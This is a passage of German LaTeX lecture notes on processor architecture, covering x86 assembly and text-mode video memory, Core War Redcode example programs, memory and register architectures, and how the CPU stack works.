\subsubsection{Maschinensprache} - - Ein auf die oben beschriebene Weise gebauter Computer kann Befehle ausf�hren, - die in Gestalt von Nullen und Einsen vorliegen, - bei denen es sich typischerweise um den Inhalt von Speicherzellen handelt - (Flip-Flops, Kondensatoren oder Flash-Speicher -- fr�her auch Lochkarten o.\,�.). - - \begin{center} - \includegraphics[width=12cm]{programm-screenshot.png} - \figurecaptionself{Programm in Maschinensprache und Assembler\label{Maschinenprogramm}} - \end{center} - - Abbildung~\ref{Maschinenprogramm} zeigt ein einfaches Programm - f�r einen Intel-x86-kompatiblen 16-Bit-Mikroprozessor, - geschrieben und angezeigt mit Hilfe des DOS-Programms \file{debug} (FreeDOS). - - S�mtliche Zahlen sind \newterm{hexadezimal}, also zur Basis 16 notiert. - - Die linke Spalte zeigt die \newterm{Speicheradresse}, - d.\,h.\ die Position der angezeigten Zahlen und Befehle innerhalb des Arbeitsspeichers des Computers. - Als Intel-spezifische Besonderheit unterteilt sich die Speicheradresse in einen Segment- - und einen Offset-Anteil, die durch einen Doppelpunkt getrennt notiert werden (Details siehe unten). - - Neben der Speicheradresse wird der Inhalt der Speicherzelle als Zahl angezeigt. - - Rechts daneben erscheint eine �bersetzung der Maschinensprache - in menschenlesbare Abk�rzungen, sog.\ \newterm{Mnemonics}. - Diese Darstellung des Programms hei�t \newterm{Assembler-Sprache\/} oder kurz \newterm{Assembler}. - - Ein Programm, das Assembler-Sprache in Maschinensprache �bersetzt, - hei�t ebenfalls \newterm{Assembler}. - - \subsubsection{Assembler} - - Die einfachsten Assembler-Befehle sind Kopieraktionen zwischen Speicherzellen. - In Intel-Syntax steht der Befehl \lstinline[language={[x86masm]Assembler}]{mov A, B} f�r: - "`Kopiere den Inhalt der Speicherzelle B in Speicherzelle A."' - Bei den Speicherzellen kann es sich um adressierte Speicherzellen im Arbeitsspeicher handeln - -- in Intel-Syntax eine Offset-Adresse in eckigen Klammern -- - oder um Prozessor-Register -- bei 16-Bit-Intel-Prozessoren: - \lstinline[language={[x86masm]Assembler}]{ax}, - \lstinline[language={[x86masm]Assembler}]{bx}, - \lstinline[language={[x86masm]Assembler}]{cx}, - \lstinline[language={[x86masm]Assembler}]{dx}, - \lstinline[language={[x86masm]Assembler}]{si}, - \lstinline[language={[x86masm]Assembler}]{di}, - \lstinline[language={[x86masm]Assembler}]{bp}, - \lstinline[language={[x86masm]Assembler}]{sp}, - \lstinline[language={[x86masm]Assembler}]{cs}, - \lstinline[language={[x86masm]Assembler}]{ds}, - \lstinline[language={[x86masm]Assembler}]{es} und - \lstinline[language={[x86masm]Assembler}]{ss}. - -% \underconstruction - \begin{center} - \includegraphics[height=7cm]{b800.jpg} - \end{center} - Die 16-Bit-Prozessoren der Intel-x86-Familie haben einen 20 Bit breiten \newterm{Adre�bus}, - d.\,h.\ es stehen 20 Leitungen zur Verf�gung, um eine Speicherzelle auszuw�hlen. - Insgesamt k�nnen also $2^{20} = 1\,048\,576$ verschiedene Speicherzellen - (ein bin�res Megabyte -- 1\,MiB) ausgew�hlt werden. - - Diese 20 Bit werden nun wie folgt in zweimal 16 Bit aufgeteilt: - Die Zahl vor dem Doppelpunkt hei�t \newterm{Segment-Adresse}, die danach \newterm{Offset-Adresse}. - Die physikalische Adresse der gew�nschten Speicherzelle lautet: - $16 \cdot \mbox{Segment} + \mbox{Offset}$. - Das Segment wird also um eine Hex-Ziffer nach links geschoben und anschlie�end das Offset addiert, - um die physikalische Nummer der gew�nschten Speicherzelle zu erhalten. - Aus \lstinline{31D6:0100} wird so beispielsweise die physikalische Adresse \lstinline{31E60}. - - Der Sinn dieser Aufteilung bestand darin, da� man erwartete, - da� 16 Adre�leitungen, also maximal 64\,kiB Speicher (64 bin�re Kilobyte), - f�r Computerprogramme ausreichend seien. - In diesem Fall kann man die Segment-Adresse auf einen festen Wert setzen - (in Abb.~\ref{Maschinenprogramm}: \lstinline{31D6}) - und das Programm in 16-Byte-Schritten an beliebige Stellen im Speicher legen, - ohne die im Programm verwendeten Offset-Adressen anpassen zu m�ssen. - - In der Praxis erwiesen sich 64\,kiB sehr bald als viel zu wenig, - so da� Intel von dem Schema "`$16 \cdot \mbox{Segment} + \mbox{Offset}$"' wieder abr�ckte. - Das Konzept "`Segment:Offset"' wurde zwar beibehalten, erhielt jedoch eine andere Bedeutung. - (Dazu sp�ter mehr.) - - \breath - - Eine weitere Besonderheit der 16-Bit-Prozessoren der Intel-x86-Familie - erm�glicht uns, die Auswirkungen eines Programms direkt zu beobachten: - Ab Speicherzelle \lstinline{B8000} -- bzw.\ \lstinline{B800:0000} in Segment-Offset-Notation -- - befindet sich der \newterm{Bildschirmspeicher}. - Werte, die in diesen Speicherzellen gespeichert sind, - werden von der \newterm{VGA-Grafikkarte\/} im \newterm{Textmodus\/} - direkt in Zeichen umgewandelt, die auf einem angeschlossenen Bildschirm angezeigt werden. - - Alle geraden Speicheradressen (\lstinline{0}, \lstinline{2}, \lstinline{4}, \lstinline{6}, - \lstinline{8}, \lstinline{A}, \lstinline{C}, \lstinline{E}, \lstinline{10}, \lstinline{12}, \dots) - enthalten die Zeichen (Buchstaben, Zahlen, Satzzeichen) in \newterm{ASCII\/}-Kodierung - (American Standard Code for Information Interchange); - Alle ungeraden Speicheradressen (\lstinline{1}, \lstinline{3}, \lstinline{5}, \lstinline{7}, - \lstinline{9}, \lstinline{B}, \lstinline{D}, \lstinline{F}, \lstinline{11}, \lstinline{13}, \dots) - enthalten ein Farbschema (\newterm{Attribut\/}): - - \begin{quote} - \lstinline{04}: Vordergrundfarbe Rot\\ - \lstinline{02}: Vordergrundfarbe Gr�n\\ - \lstinline{01}: Vordergrundfarbe Blau\\[\smallskipamount] - \lstinline{40}: Hintergrundfarbe Rot\\ - \lstinline{20}: Hintergrundfarbe Gr�n\\ - \lstinline{10}: Hintergrundfarbe Blau\\[\smallskipamount] - \lstinline{08}: Vordergrundfarbe aufhellen\\ - \lstinline{80}: Blinken - \end{quote} - - Durch Addition (z.\,B.\ $\lstinline{04} + \lstinline{02} + \lstinline{08} = \lstinline{0E}$ - mit der Bedeutung $\mbox{Rot} + \mbox{Gr�n} + \mbox{aufhellen} = \mbox{Gelb}$) - ergeben sich insgesamt 16 Vordergrundfarben, 8 Hintergrundfarben - und die M�glichkeit, die Zeichen blinken zu lassen. - - \breath - - Um nun von einem Maschinenprogramm aus Zeichen auf dem Bildschirm darzustellen, - m�ssen wir die richtigen Werte an den richtigen Adressen in den Speicher schreiben. - Hierzu betrachten wir noch einmal das Programm aus Abb.~\ref{Maschinenprogramm}: - - \begin{lstlisting}[language={[x86masm]Assembler}] - mov ax, b800 - mov ds, ax - mov ax, 0c41 - mov [0400], ax - mov ax, 0d62 - mov [0402], ax - mov ax, 0e22 - mov [0404], ax - ret - \end{lstlisting} - - Der \lstinline[language={[x86masm]Assembler}]{ret}-Befehl am Ende steht - f�r ein kontrolliertes Beenden des Programms (engl.: \emph{return\/} -- dazu sp�ter mehr). - - Um auf den Bildschirmspeicher an der physikalischen Adresse \lstinline{b8000} zugreifen zu k�nnen, - m�ssen wir den Segment-Anteil \lstinline{b800} dieser Adresse - in das \newterm{Segment-Register\/} \lstinline[language={[x86masm]Assembler}]{ds} laden. - Da der Prozessor dies nicht direkt erlaubt, - nehmen wir einen Umweg �ber das \newterm{Allzweckregister\/} \lstinline[language={[x86masm]Assembler}]{ax}. - - Anschlie�end schreiben wir an den Offset-Adressen - \lstinline{400}, \lstinline{402} und \lstinline{404} - die Werte \lstinline{0c40}, \lstinline{0d62} bzw.\ \lstinline{0e22} in den Arbeitsspeicher. - Auch dies ist nicht direkt m�glich, sondern erfolgt - mit Umweg �ber das \lstinline[language={[x86masm]Assembler}]{ax}-Register. - - Laut ASCII-Tabelle steht die Hexadezimalzahl \lstinline{41} f�r ein gro�es A. - Laut der o.\,a.\ Attribut-Tabelle steht \lstinline{0c} f�r die Farbe - $\lstinline{0c} = \lstinline{08} + \lstinline{04} = \mbox{aufhellen} + \mbox{Rot} = \mbox{Hellrot}$. - Der zusammengesetzte Wert \lstinline{0c41} steht f�r ein rotes gro�es A, - das an die Speicheradresse \lstinline{b8400} geschrieben wird. - Dies hat zur Folge, da� ein rotes gro�es A etwa mittig im oberen Drittel des Bildschirms sichtbar wird - (siehe Abb.~\ref{Maschinenprogramm}). - - Analog sieht man, da� \lstinline{0d62} f�r ein hellmagentafarbenes kleines b steht - und \lstinline{0e22} f�r ein gelbes Anf�hrungszeichen. - Diese beiden Zeichen werden in benachbarte Speicherzellen neben das gro�e A geschrieben - und werden entsprechend auf dem Bildschirm sichtbar. - - \subsubsection{Hochsprachen} - - Die Maschinensprache und die Assembler-Sprache haben den Nachteil, - da� sie f�r jeden Prozessor v�llig unterschiedlich aussehen. - Jeder Prozessor hat seine eigenen Register und seine eigenen Befehle, - die sich nicht w�rtlich in Befehle eines anderen Prozessors �bersetzen lassen. - - Beispiel: Intel-x86-16-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{mov}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{inc}, \lstinline{dec}, - \lstinline{xor}, \lstinline{cmp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{jmp}, \lstinline{jz}, \lstinline{jae}, \dots - \item - Register\hfill - \lstinline{ax}, \lstinline{bx}, \dots - \end{itemize} - - Beispiel: Atmel-AVR-8-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{ldi}, \lstinline{lds}, \lstinline{sti}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{subi}, - \lstinline{eor}, \lstinline{cp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{rjmp}, \lstinline{brsh}, \lstinline{brlo}, \dots - \item - Register\hfill - \lstinline{r0}, \lstinline{r1}, \dots - \end{itemize} - - Um Programme nicht f�r jeden Prozessor neu schreiben zu m�ssen, wurden Hochsprachen entwickelt. - Hierf�r gibt es mehrere Konzepte: - - Compiler-Sprachen - \vspace{-\medskipamount} - \begin{itemize} - \item - Ein \newterm{Compiler\/} �bersetzt einen Hochsprachen-\newterm{Quelltext\/} - in die Assembler-Sprache. - \item - Ein \newterm{Assembler\/} �bersetzt den Assembler-Quelltext in die Maschinensprache. - \item - Compiler und Assembler sind Programme,\\ - geschrieben in Maschinensprache, Assembler oder einer Hochsprache. - \item - Beispiele: Fortran, Algol, Pascal, Ada, C, C++, \dots - \end{itemize} - - Interpreter- oder Skript-Sprachen - \vspace{-\medskipamount} - \begin{itemize} - \item - Ein \newterm{Interpreter\/} liest einen Hochsprachen-\newterm{Quelltext\/} und f�hrt ihn sofort aus. - \item - Der Interpreter ist ein Programm,\\ - geschrieben in Maschinensprache, Assembler oder einer Hochsprache. - \item - Beispiele: Unix-Shell, BASIC, Perl, Python, \dots - \end{itemize} - - Kombinationen - \vspace{-\medskipamount} - \begin{itemize} - \item - Ein \newterm{Compiler\/} erzeugt einen \newterm{Zwischencode\/} f�r eine \newterm{virtuelle Maschine}. - \item - Die virtuelle Maschine ist ein \newterm{Interpreter}.\\ - Sie liest den Zwischencode und f�hrt ihn sofort aus. - \item - Beispiele: UCSD-Pascal, Java, \dots - \end{itemize} - - \breath - - Ein wichtiges Beispiel f�r eine Compiler-Sprache ist die Hochsprache \newterm{C}. - - Mit dem Programm \lstinline[style=cmd]{gcc} kann man wie folgt C nach Assembler �bersetzen: - \begin{lstlisting}[style=terminal] - $ �gcc -S pruzzel.c� - \end{lstlisting} - Dieser Aufruf erzeugt aus dem C-Quelltext \file{pruzzel.c} - einen Assembler-Quelltext \file{pruzzel.s} f�r den Standard-Prozessor, - z.\,B.\ f�r die 32-Bit-Intel-Architektur (IA-32). - - \goodbreak - Mit \lstinline[style=cmd]{avr-gcc} anstelle von \lstinline[style=cmd]{gcc} - erzeugt man auf einem beliebigen Prozessor Assembler f�r 8-Bit-Atmel-AVR-Prozessoren: - \begin{lstlisting}[style=terminal] - $ �avr-gcc -S pruzzel.c� - \end{lstlisting} - (Die mit diesem Aufruf erzeugte Datei \file{pruzzel.s} - hei�t in den Beispielen \file{pruzzel-avr.s}.) - - \breath - - Wenn man in einer Hochsprache programmiert, - ist es normalerweise nicht erforderlich, sich mit dem erzeugten Assembler-Quelltext zu befassen. - - F�r F�lle, in denen dies doch notwendig wird, - bieten viele Fehlersuchprogramme -- \newterm{Debugger\/} -- die M�glichkeit an, - die Ausf�hrung des Programms parallel im C- und im Assembler-Quelltext zu verfolgen. - Der GNU-Debugger \lstinline[style=cmd]{gdb} f�hrt z.\,B.\ - mit dem Befehl \lstinline[style=cmd]{next} eine Zeile C-Quelltext aus - und mit dem Befehl \lstinline[style=cmd]{nexti} (\emph{next instruction\/}) - eine Zeile Assembler-Quelltext: - \begin{lstlisting}[style=terminal] - $ �gcc -g pruzzel.c -o pruzzel� - $ �gdb -tui ./pruzzel� - (gdb) �break main� - (gdb) �run� - (gdb) �layout split� - (gdb) �nexti� - \end{lstlisting} - - \subsection{Struktur von Assembler-Programmen} - - \begin{minipage}[t]{12cm} - Der grunds�tzliche Aufbau von Assembler-Befehlen - besteht normalerweise aus dem Schl�sselwort (Mnemonic) f�r den eigentlichen Befehl, - ggf.\ gefolgt von einem oder mehreren \newterm{Operanden}. - (Beispiel: IA-32-Assembler) - \end{minipage}\hfill - \begin{minipage}[t]{4cm} - \begin{lstlisting}[gobble=6] - addl $1, %eax - movb %al, b - cmpb (%ebx), %dl - jbe .L2 - \end{lstlisting} - \begin{picture}(0,0)(-0.3,-0.15) - \color{red} - \put(0.4,2.8){\vector(0,-1){0.7}} - \put(0.4,2.9){\makebox(0,0)[b]{Befehl}} - \put(1.4,2.8){\vector(-1,-2){0.35}} - \put(1.4,2.8){\vector(1,-2){0.35}} - \put(2.0,2.9){\makebox(0,0)[b]{Operanden}} - \end{picture} - \end{minipage} - - \goodbreak - - \begin{minipage}[t]{8cm} - \setlength{\parskip}{\smallskipamount} - Bei den Operanden kann es sich um Zahlen handeln, - die direkt im Befehl stehen (\newterm{unmittelbar\/}) oder - sich in einem Prozessorregister oder einer Speicherzelle befinden. - Die Nummer der Speicherzelle kann \newterm{direkt\/} im Befehl stehen, - oder sie wird \newterm{indirekt\/} einem Prozessorregister entnommen. - Au�erdem kann die Nummer einer Speicherzelle \newterm{absolut\/} angegeben werden - oder \newterm{relativ\/} zu derjenigen Speicherzelle, die den Befehl enth�lt. - - Diese verschiedenen Arten, Operanden auszuw�hlen, hei�en \newterm{Adressierungsarten}. - \end{minipage}\hfill - \begin{minipage}[t]{8cm} - \vspace*{0.8cm} - \begin{lstlisting}[gobble=6] - addl $1, %eax - movb %al, b - cmpb (%ebx), %dl - jbe .L2 - \end{lstlisting} - \begin{picture}(0,0)(-0.3,-0.15) - \color{red} - \put(1.4,2.8){\vector(-1,-2){0.35}} - \put(2.0,2.9){\makebox(0,0)[b]{unmittelbar}} - \put(3.1,1.8){\vector(-1,0){0.7}} - \put(3.2,1.8){\makebox(0,0)[l]{Register}} - \put(4.8,1.4){\vector(-1,0){2.7}} - \put(4.9,1.4){\makebox(0,0)[l]{Speicher (absolut)}} - \put(2.3,-0.0){\vector(-1,1){0.7}} - \put(3.5,-0.1){\makebox(0,0)[t]{indirekt mit Register}} - \put(0.8,-0.6){\vector(0,1){0.9}} - \put(0.0,-0.7){\makebox(0,0)[tl]{Speicher (relativ)}} - \end{picture} - \end{minipage} - - \breath - - Ein besonders illustratives Beispiel f�r eine Assembler-Sprache ist der \newterm{Redcode}. - Diese Sprache wurde f�r das Spiel \newterm{Core Wars} - (oder \newterm{Core War\/} -- Krieg der Kerne) entwickelt. - Sie l�uft auf einer virtuellen Maschine namens \newterm{Memory Array Redcode Simulator (MARS)}. - - In der �lteren standardisierten Version (ICWS '88) lautet die vollst�ndige Beschreibung von Redcode: - - \begin{center} - \begin{minipage}[t]{7.2cm} - Instruktionen:\\[\smallskipamount] - \lstinline{dat B} -- Daten\\ - \lstinline{mov A, B} -- kopiere A nach B\\ - \lstinline{add A, B} -- addiere A zu B\\ - \lstinline{sub A, B} -- subtrahiere A von B\\ - \lstinline{jmp A} -- unbedingter Sprung nach A\\ - \lstinline{jmz A, B} -- Sprung nach A, wenn B $=$ 0\\ - \lstinline{jmn A, B} -- Sprung nach A, wenn B $\ne$ 0\\ - \lstinline{djn A, B} -- "`decrement and jump if not zero"'\\ - \lstinline{cmp A, B} -- "`compare"': �berspringe, falls gleich\\ - \lstinline{spl A} -- "`split"': Programm verzweigen - \end{minipage}% - \begin{minipage}[t]{4.7cm} - Adressierungsarten:\\[\smallskipamount] - grunds�tzlich: Speicher relativ\\[\smallskipamount] - \lstinline{#} -- unmittelbar\\ - \lstinline{$} (oder ohne Symbol) -- direkt\\ - \lstinline{@} -- indirekt (\lstinline{B}-Feld)\\ - \lstinline{<} -- indirekt mit Pr�-Dekrement - \end{minipage} - \end{center} - - \begin{itemize} - \item - Der Speicher ist ringf�rmig. - \item - Anstelle von Prozessorregistern k�nnen - grunds�tzlich alle Speicherzellen f�r jede Operation verwendet werden. - \item - Adressierung von Speicherzellen erfolgt grunds�tzlich relativ. - \item - Ein Programm, das einen \lstinline{dat}-Befehl ausf�hrt, wird beendet. - \item - Der \lstinline{spl}-Befehl bewirkt, da� ein Programm - \emph{sowohl\/} an der als Operand angegebenen Speicherzelle - \emph{als auch\/} in der n�chsten Speicherzelle ausgef�hrt wird. - (Ausf�hrung abwechselnd) - \item - In einem "`Kampf"' treten zwei (oder mehr) Programme in demselben Speicher gegeneinander an. - Ein Programm, das durch \lstinline{dat}-Befehle vollst�ndig beendet wurde, hat verloren. - \end{itemize} - - \breath - - Beispiel: Programm \newterm{Nothing} - \begin{lstlisting} - jmp 0 - \end{lstlisting} - Dieses Programm f�hrt eine Endlosschleife aus. - Da es nur eine einzige Speicherzelle belegt und noch dazu den numerischen Wert Null hat, - wird es von gegnerischen Programmen leicht �bersehen, was oft zu einem Unentschieden f�hrt. - Gegen Gegner, die dann stattdessen im ringf�rmigen Speicher sich selbst entdecken und angreifen, - kann Nothing sogar gewinnen. - - \breath - - Beispiel: Programm \newterm{Knirps} - \begin{lstlisting} - mov 0, 1 - \end{lstlisting} - Dieses ebenfalls nur eine einzige Speicherzelle gro�e Programm - kopiert sich selbst vollst�ndig auf die n�chste Speicherzelle - und f�hrt diese anschlie�end aus. - Es bewegt sich somit mit der h�chsten l�ckenlos erreichbaren Geschwindigkeit ("`Lichtgeschwindigkeit"') - durch den Speicherring. - Wenn es dabei auf einen Gegner trifft, �berschreibt es diesen, - so da� dieser danach ebenfalls \lstinline{mov 0, 1} ausf�hrt. - Da danach keiner der Gegner mehr in der Lage ist, - den anderen durch einen \lstinline{dat}-Befehl zu beenden, - f�hrt dies zu einem Unentschieden. - - \breath - - Beispiel: Programm \newterm{Mice} - - \vspace{-\bigskipamount} - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[gobble=6] - ptr - start - loop - - - - - dest - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{5cm} - \begin{lstlisting}[gobble=6] - dat #0 - mov #12, ptr - mov @ptr, <dest - djn loop, ptr - spl @dest - add #653, dest - jmz start, ptr - dat #833 - end start - \end{lstlisting} - \end{minipage} - - Dieses Programm erzeugt in einer Schleife (\lstinline{djn loop, ptr}) - eine Kopie von sich selbst und aktiviert diese anschlie�end mit einem \lstinline{spl}-Befehl. - Danach erzeugen beide "`M�use"' weitere Kopien von sich selbst. - - Wenn auf diese Weise ein Gegner �berschrieben wird, - findet dieser am Ende des Programms den Befehl \lstinline{jmz start, ptr} vor, - gefolgt von einem \lstinline{dat}-Befehl. - Der Sprung findet also nur dann statt, wenn die -- relativ adressierte -- Variable \lstinline{ptr} - den Wert Null hat. Dies ist normalerweise nur dann kurz der Fall, - wenn der Kopiervorgang abgeschlossen ist und der \lstinline{spl}-Befehl ausgef�hrt wird; - direkt danach wird \lstinline{ptr} durch \lstinline{mov #12, ptr} auf einen Wert ungleich Null gesetzt. - �berschriebene Gegner werden daher normalerweise durch den Befehl \lstinline{dest dat #833} beendet. - - Durch seine Kopier-Taktik ist Mice jedem Gegner klar �berlegen, - der versucht, es mit \lstinline{dat}-Befehlen zu �berschreiben. - Durch seine Langsamkeit hingegen erreicht Mice gegen Knirps praktisch immer nur ein Unentschieden. - - Als wirksamste Taktik gegen Mice hat sich die \newterm{Zeitfalle\/} erwiesen: - Ein in Mice hineingeschriebener Befehl \lstinline{spl 0} bewirkt, - da� sich die betroffene Kopie von Mice bis zur Maximalgrenze aufspaltet - und damit die Rechenzeit seiner anderen Kopien herabsetzt. - Ein auf diese Weise "`gel�hmtes"' Mice kann anschlie�end - problemlos mit \lstinline{dat}-Befehlen �berschrieben werden. - - \section{Architekturmerkmale von Prozessoren\label{Speicher- und Registerarchitekturen}} - - \subsection{Speicherarchitekturen} - - Bezeichnungen - \begin{itemize} - \item - \newterm{Byte} = Zusammenfassung mehrerer Bits\\ - zu einer Bin�rzahl, die ein Zeichen ("`Character"') darstellen kann,\\ - h�ufig 8 Bits ("`Oktett"') - \item - \newterm{Speicherwort} = Zusammenfassung mehrerer Bits\\ - zu der kleinsten adressierbaren Einheit, h�ufig 1 Byte - \item - \newterm{RAM} = Random Access Memory = Hauptspeicher - \item - \newterm{ROM} = Read Only Memory = nur lesbarer Speicher - \end{itemize} - - \goodbreak - - Verschiedene Arten von Speicher - \begin{itemize} - \item - Prozessor-Register\\ - k�nnen direkt mit ALU verbunden werden,\\ - besonders schnell (Flipflops),\\ - �berschaubare Anzahl von Registern - \item - Hauptspeicher\\ - kann direkt adressisert und mit Prozessor-Registern abgeglichen werden,\\ - heute i.\,d.\,R.\ dynamischer Speicher (Kondensatoren) - \item - I/O-Ports\\ - sind spezielle Speicheradressen, �ber die mit externen Ger�ten kommuniziert wird - \item - Massenspeicher\\ - liegt auf externem Ger�t, wird �ber I/O-Ports angesprochen,\\ - Festplatte, Flash-Speicher, \dots - \end{itemize} - - \goodbreak - - Speicherarchitekturen - \begin{itemize} - \item - \newterm{Von-Neumann-Architektur}\\ - Es gibt nur 1 Hauptspeicher, in dem sich sowohl die Befehle\\ - als auch die Daten befinden. - - Vorteil: Flexibilit�t in der Speichernutzung - - Nachteil: Befehle k�nnen �berschrieben werden. - $\longrightarrow$ Abst�rze und Malware m�glich - - \item - \newterm{Harvard-Architektur}\\ - Es gibt 2 Hauptspeicher. In einem befinden sich die Befehle,\\ - im anderen die Daten. - - Vorteil: Befehle k�nnen nicht �berschrieben werden - $\longrightarrow$ sicherer als Von-Neumann-Architektur - - Nachteile: Leitungen zum Speicher (Bus) m�ssen doppelt vorhanden sein,\\ - freier Befehlsspeicher kann nicht f�r Daten genutzt werden. - - \item - Weitere Kombinationen:\\ - Hauptspeicher und I/O-Ports gemeinsam oder getrennt,\\ - Hauptspeicher und Prozessorregister gemeinsam oder getrennt - \end{itemize} - - Beispiele: - \begin{itemize} - \item - Intel IA-32 (i386, Nachfolger und Kompatible):\\ - Von-Neumann-Architektur (plus Speicherschutzmechanismen),\\ - Prozessorregister und I/O-Ports vom Hauptspeicher getrennt - \item - Atmel AVR (z.\,B.\ ATmega32):\\ - Harvard-Architektur (Befehlsspeicher als Flash-Speicher grunds�tzlich auch schreibbar),\\ - Prozessorregister und I/O-Ports in gemeinsamem Adressbereich mit Hauptspeicher - \item - 6502 (heute: Renesas-Mikro-Controller):\\ - Von-Neumann-Architektur,\\ - I/O-Ports in gemeinsamem Adressbereich mit Hauptspeicher,\\ - Prozessorregister und Hauptspeicher getrennt - \end{itemize} - - \subsection{Registerarchitekturen} - - \begin{itemize} - \item - Mehrere Register, einzeln ansprechbar - \item - Akkumulator: Nur 1 Register kann rechnen. - \item - Stack-Architektur: Stapel, "`umgekehrte Polnische Notation"' - \end{itemize} - Je nachdem, auf welche dieser Arten die Register eines Prozessors organisiert sind,\\ - mu� er auf v�llig unterschiedliche Weise programmiert werden. -% -- siehe Abschnitt \ref{Registerprogrammierung}. - - Beispiele: - \begin{itemize} - \item - Intel IA-32 (i386, Nachfolger und Kompatible):\\ - Mehrere Register, f�r verschiedene Zwecke spezialisiert (un�bersichtlich),\\ - Flie�kommaregister: Stack-Architektur - \item - Atmel AVR (z.\,B.\ ATmega32):\\ - 32 Register - \item - 6502 (heute: Renesas-Mikro-Controller):\\ - 3 Register: A, X, Y. Nur A kann rechnen $\longrightarrow$ Akkumulator - \item - Java Virtual Machine (JVM):\\ - Stack-Architektur - \end{itemize} - - \subsection{Befehlss�tze} - - Um die manuelle Programmierung in Assembler m�glichst komfortabel zu gestalten, - wurden in der Vergangenheit viele Prozessoren mit umfangreichen Befehlss�tzen ausgestattet. - Diese Architektur hei�t \newterm{Complex Instruction Set Computer (CISC)}. - - Realisiert wird CISC durch einen "`Prozessor im Prozessor"', - der kleine Programme, sog.\ \newterm{Mikroprogramme\/} ausf�hrte. - - Erkauft wird der Komfort durch eine l�ngere Abarbeitungszeit der einzelnen Befehle. - - Beispiel: IA-32 - - \bigskip - - Das entgegengesetzte Konzept hei�t \newterm{Reduced Instruction Set Computer (RISC)}. - In einem RISC-Prozessor ist der einzelne Maschinenbefehl - weit weniger m�chtig als in einem CISC-Prozessor, - wird daf�r aber wesentlich schneller ausgef�hrt, - idealerweise jeder Befehl in einem einzigen Taktzyklus. - - Beispiel: Atmel AVR - - \bigskip - - Weitere Befehlssatzarchitekturen:\\ - \newterm{Very Long Instruction Word (VLIW)}, - \newterm{Explicitly Parallel Instruction Computing (EPIC)}\\ - (z.\,B.\ IA-64) - - \section{Der CPU-Stack} - - \emph{Achtung: Nicht mit dem Register-Stack verwechseln!} - - \subsection{Implementation} - - Ein Teil des Speichers wird als "`Stack"' reserviert.\\ - Eine Variable, typischerweise ein Prozessorregister, wird als "`Stack-Pointer"' (SP) reserviert. - \begin{itemize} - \item - Um einen Wert auf den Stack zu legen, - verschiebt man den SP, so da� er auf einen freien Speicherplatz zeigt. - Dorthin speichert man den Wert. - \item - Um einen Wert vom Stack zur�ckzuholen, - liest man ihn von der Stelle, auf die SP zeigt, - und verschiebt anschlie�end den SP in die entgegengesetzte Richtung. - \end{itemize} - - \goodbreak - Da diese Kombinationen von Operationen sehr gebr�uchlich sind, - enthalten die allermeisten Prozessoren eigene Befehle daf�r, z.\,B.: - \begin{itemize} - \item - Wert auf den Stack legen: \verb|push| - \item - Wert vom Stack zur�ckholen: \verb|pop| - \item - IP auf den Stack sichern und Unterprogramm aufrufen: \verb|call| - \item - IP vom Stack zur�ckholen = R�cksprung aus Unterprogramm: \verb|ret| - \end{itemize} - - Die Richtung, in der der Stack w�chst, ist frei w�hlbar. - Beim IA-32 z.\,B.\ w�chst der Stack von oben nach unten. - Dort wird also beim \verb|push| der SP dekrementiert (erniedrigt) - und beim \verb|pop| inkrementiert (erh�ht). - - Auch die kleinste Einheit ist frei w�hlbar. - Beim IA-32 k�nnen minimal 16 Bit, also immer 2 Bytes zusammen auf den Stack gelegt werden. - - \bigbreak - - Beispiel: Ein f�r einen IA-32-Prozessor geschriebenes Programm enth�lt die Befehle: - \begin{verbatim} - pushw $17 - pushw $33 - ... - popw %ax\end{verbatim} - Bei Programmbeginn werden 16384 Bytes, hexadezimal \verb|4000|, f�r den Stack reserviert, - n�mlich der Speicher"-bereich von Adresse \verb|0000| bis Adresse \verb|3fff|, - und der Stack-Pointer (\verb|SP|) wird auf den Wert \verb|4000| initialisiert. - Er zeigt also am Stack vorbei "`ins Leere"'. - - Wenn nun der Befehl \verb|pushw $17| ("`push word"') ausgef�hrt wird, - wird \verb|SP| um 2 auf \verb|3ffe| dekrementiert - und anschlie�end der Wert \verb|17| - an die beiden Speicheradressen \verb|3ffe| und \verb|3fff| geschrieben. - - \begin{center} - \begin{picture}(5.1,6)(0,-0.8) - \put(0,0){\makebox(0,0)[bl]{\begin{tabular}{r|c|} - & \dots \\\cline{2-2} - \texttt{4001} & \\\cline{2-2} - \texttt{4000} & \\\cline{2-2} - \texttt{3fff} & \\\cline{2-2} - \texttt{3ffe} & \\\cline{2-2} - \texttt{3ffd} & \\\cline{2-2} - \texttt{3ffc} & \\\cline{2-2} - \texttt{3ffb} & \\\cline{2-2} - \texttt{3ffa} & \\\cline{2-2} - \texttt{3ff9} & \\\cline{2-2} - \texttt{3ff8} & \\\cline{2-2} - & \dots - \end{tabular}}} - \put(3.7,0){\makebox(0,0)[b]{\begin{tabular}[b]{|c|}\hline - \texttt{SP\,=\,4000}\\\hline - \multicolumn{1}{c}{}\\ - \end{tabular}}} - \put(3.7,0.87){\line(0,1){3.13}} % Schrittweite: 0.43 - \put(3.7,4.00){\vector(-1,0){1.54}} - \put(2.25,-0.25){\makebox(0,0)[t]{leerer Stack}} - \end{picture}% - \begin{picture}(5.1,6)(0,-0.8) - \put(0,0){\makebox(0,0)[bl]{\begin{tabular}{r|c|} - & \dots \\\cline{2-2} - \texttt{4001} & \\\cline{2-2} - \texttt{4000} & \\\cline{2-2} - \texttt{3fff} & \\ - \texttt{3ffe} & \texttt{17} \\\cline{2-2} - \texttt{3ffd} & \\\cline{2-2} - \texttt{3ffc} & \\\cline{2-2} - \texttt{3ffb} & \\\cline{2-2} - \texttt{3ffa} & \\\cline{2-2} - \texttt{3ff9} & \\\cline{2-2} - \texttt{3ff8} & \\\cline{2-2} - & \dots - \end{tabular}}} - \put(3.7,0){\makebox(0,0)[b]{\begin{tabular}[b]{|c|}\hline - \texttt{SP\,=\,3ffe}\\\hline - \multicolumn{1}{c}{}\\ - \end{tabular}}} - \put(3.7,0.87){\line(0,1){2.28}} - \put(3.7,3.14){\vector(-1,0){1.54}} - 